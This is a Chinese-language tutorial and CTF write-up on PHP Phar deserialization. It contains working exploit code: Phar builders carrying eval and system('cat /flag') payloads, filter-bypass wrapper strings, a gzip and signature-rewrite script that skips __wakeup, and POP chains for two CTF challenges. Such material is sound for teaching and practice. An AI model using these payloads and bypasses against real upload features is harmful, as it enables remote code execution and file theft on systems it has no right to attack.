Phar 反序列化简单学习

PHP 反序列化

0x01 关于 Phar

Phar 含义

Phar 本质上还是一种压缩包，但它是 PHP 的压缩文档，类似于 jar 包在 Java 里面差不多的样子。它可以把多个文件存放至同一个文件中，无需解压，PHP 就可以进行访问并执行内部语句。

默认开启版本 PHP Version >= 5.3

Phar 文件结构

在说文件结构之前，我们可以先通过这个脚本生成一个 .phar 文件

ProducePhar.php

<?php
class test{
    public $name="qwq";
    function __destruct()
    {
        echo $this->name . " is a web vegetable dog ";
    }
}
$a = new test();
$a->name="drunkbaby";
$tttang=new phar('drunkbaby.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($a);//自定义的meta-data存入manifest
$tttang->setStub("<?php __HALT_COMPILER();?>");//设置stub，stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件，可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt"," ");//添加要压缩的文件
$tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>

Phar 文件结构大致可分为四个部分

1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名

下面细说一些

stub

Stub 是 Phar 的文件标识，也可以理解为它就是 Phar 的文件头，这个 Stub 其实就是一个简单的 PHP 文件，它的格式具有一定的要求，具体如下

1	xxx<?php xxx; __HALT_COMPILER();?>

这行代码的含义，也就是说前面的内容是不限制的，但在该 PHP 语句中，必须有__HALT_COMPILER()，没有这个，PHP 就无法识别出它是 Phar 文件。
这个其实就类似于图片文件头，比如 gif 文件没有 GIF89A 文件头就无法正确的解析图片，010 Editor 里面的 phar 文件头如图

manifest

a manifest describing the contents，用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点，因为这里以序列化的形式存储了用户自定义的 Meta-data

在我们上面生成的 phar 文件中，manifest 的内容如图

用于存放 Phar 文件的内容

Signature

[optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数)，位于文件末尾，具体格式如下

从官方文档中不难看出，签证尾部的 01 代表 md5 加密，02 代表 sha1 加密，04 代表 sha256 加密，08 代表 sha512 加密

当我们修改文件的内容时，签名就会变得无效，这个时候需要更换一个新的签名更换签名的脚本

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read()	
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

0x02 Phar 反序列化漏洞

漏洞成因

Phar 反序列化之所以存在，是因为 Phar 文件中的 manifest 字段存储了序列化的数据，这其实就是用户的 mete-data，PHP 使用 phar_parse_metedata() 函数解析 meta 数据时，会调用 php_var_unserialize() 函数进行反序列化。具体解析代码如下

php-src/ext/phar/phar.c

那么该如何触发反序列化呢，一般是配合 Phar 伪协议，伪协议使用较多的是一些文件操作函数，只有这些函数能进行反序列化操作，单纯的 phar:// 的伪协议并不能触发反序列化，如 fopen()、copy()、file_exists() 等，具体如下图

通过两个小 demo 来证明一下 file_get_contents() 可用：

<?php
class test{
    public $name="";
    public function __destruct()
    {
        echo('the name is  ');
        echo ($this->name);
        echo '<br>';
        echo '   Destruct called';
    }
}
$tttang = file_get_contents('phar://drunkbaby.phar/test.txt');
echo $tttang;

成功触发，同样可以试一试其他的函数

<?php
class test{
    public $name="";
    public function __destruct()
    {
        echo('the name is  ');
        echo ($this->name);
        echo '<br>';
        echo '   Destruct called';
    }
}
$drunkbaby = file_exists('phar://drunkbaby.phar/test.txt');
echo $drunkbaby;

这里会打印出的数据有之前在 test.txt 中写入的内容 空格，以及该打印出的 $this->name 的内容 —— drunkbaby

所以此处我们可以用一种别样的方式来触发反序列化，回想一下之前 PHP 反序列化的时候，是需要一个 unserialize() 反序列化的入口类的，但是在 Phar 反序列化当中，这一过程更为隐蔽。

接下来我们简单总结一下利用条件

利用条件

1）需要入口，也就是上面能够对 phar 文件进行反序列化的地方。

2）存在可利用的魔术方法，用魔术方法作为跳板，这其实也就是 POP 链的思想。

3）文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。

简单 Demo

VulDemo1.php

<?php
if (isset($_GET['filename'])){
    $filename = $_GET['filename'];
    class MyClass {
        var $output = 'echo "lol"';
        function __destruct()
        {
            eval($this->output);
        }
        file_exists($filename);
    }
}
else {
    highlight_file(__FILE__);
}

这道 Demo 就是完美满足我们 phar 反序列化攻击的需求，首先存在入口函数 —— file_exists()，其次存在能够利用的魔术方法，魔术方法这里其实写了一个命令执行。并且毫无过滤。

所以我们直接构造恶意的 phar 文件，EXP 如下

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[1]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

正常情况下应该是会给我们提供文件上传的功能点，这里我没有写，但是可以直接利用，payload 为

1	?filename=phar://poc.phar&1=phpinfo();

0x03 Phar 反序列化 Bypass 的攻防二相性

对 Phar 内文件检测白名单

我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器，而如果服务端存在防护，比如这种

1	$_FILES["file"]["type"]=="image/gif"

这里的 bypass 比较简单，核心语句是这个

1	$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

这和上面例题所说的 exp 是一样的

绕过 Phar 等关键字检测

Phar反序列化中，我们一般思路是上传Phar文件后，通过给参数赋值为Phar://xxx来实现反序列化，而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化，示例代码如下

1
2
3

if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
    die();
}

我们的办法是使用各种协议来进行绕过，具体如下

1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过

绕过 `__HALT_COMPILER` 检测

我们在前文初识Phar时就提到过，PHP 通过 __HALT_COMPILER来识别 Phar 文件，那么出于安全考虑，即为了防止 Phar 反序列化的出现，可能就会对这个进行过滤，示例代码如下

1
2
3

if (preg_match("/HALT_COMPILER/i",$Phar){
    die();
}

这里的话绕过思路有两个
1、将 Phar 文件的内容写到压缩包注释中，压缩为 zip 文件，示例代码如下

<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?>

2、将生成的Phar文件进行gzip压缩，压缩命令如下

1	gzip test.phar

压缩后同样也可以进行反序列化

0x04 实战例题

[CISCN2019 华北赛区 Day1 Web1]Dropbox

首先通过正常的登录注册业务进到正常的逻辑当中去，发现有个文件上传的业务点。

上传 shell.jpeg 可以上传成功，并且存在下载与删除的业务

但是目前无法确定 shell.jpeg 的路径保存在何处，所以我们先看看下载的业务，这里是存在任意文件读取的漏洞的，如图

猜测路径 filename=/../var/www/html/upload.php 这里读取到了文件上传的源码，同样，下载和删除应该也有源码，读一下，且包含了 class.php，都逐一读取一遍。

但是这里 $_SESSION['sandbox'] 不知道是什么，所以并不是一道单纯的文件上传的题目。

在读取 class.php 的时候，发现最后 close() 函数调用了 file_get_contents() 函数，这个函数我们之前提过，很有可能是一个 Phar 反序列化的题目。且题目并没有过滤 phar 后缀的文件，修改 MIME 绕过即可

所以这里我们需要先找链子，危险函数是 class.php#close()，发现是 download.php#echo $file->close(); 调用了它，所以下载处应该是对应的漏洞入口。

接下来就是构造 EXP

<?php
class File{
    public $filename;
    public function close() {
        return file_get_contents($this->filename);
    }
}
$a = new File();
$a->filename="/f*";
$tttang=new phar('drunkbaby.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($a);//自定义的meta-data存入manifest
$tttang->setStub("<?php __HALT_COMPILER();?>");//设置stub，stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件，可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt"," ");//添加要压缩的文件
$tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>

但是我用这个打失败了，并且发现 download 这个包抓不到，所以应该是要换思路了。

发现 delete.php User 类的 __destruct() 魔术方法也同样调用了 close() 方法，和 Java 反射的思想差不多，这里把 $db 修改成 File 类即可攻击，构造 EXP，中间需要用 FileList 这个类来过渡，因为这里需要最后输出结果用，只是用 File 类的话是没办法把 flag 在前端打印出来的。

<?php
class User {
    public $db;
    public function __construct() {
        $this->db = new Filelist();
    }
}
class FileList{
    private $files;
    public function __construct(){
        $this -> files = array(new File());
    }
}
class File {
    public $filename = '/flag.txt';
}
$a = new User();
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->stopBuffering();
rename('poc.phar','poc.gif');
?>

然后 delete 的功能点直接利用

[NSSRound#4 SWPU]1zweb

不太舒服，因为要自己编辑 PHP 文件，先读取文件

最后整理出来的源码如下

index.php

#index.php
<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

upload.php

#upload.php
<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}

大致就是，要检查后缀并检查内容，且会检查 phar 文件的内容，这一步其实很容易 bypass，通过前面讲的，gzip 压缩就好。

接着分析题目，先写 EXP

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd="system('cat /flag');";
    }
}
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$a = new LoveNss();
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

这里很明显要 bypass __wakeup() 魔术方法，但是如果只是修改内容是不行的，还需要修改签名，这就是前面说的内容。

总的来说就是以下四步

1、更改属性值来绕过 __wakeup 函数
2、更改签名
2、进行 gzip 压缩来绕过关键字检测
4、更改文件后缀

sign.py

import gzip
from hashlib import sha1
with open('poc.phar', 'rb') as file:
    f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值，绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('newPoc.png', 'wb') as file:#更改文件后缀
    file.write(newf)

构造完毕之后，上传并攻击

0x05 小结

总体感受下来 phar 的攻击面还是有点窄，不太好打

0x06 Ref

https://quan9i.github.io/post/PHP%20Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%85%E6%9E%90/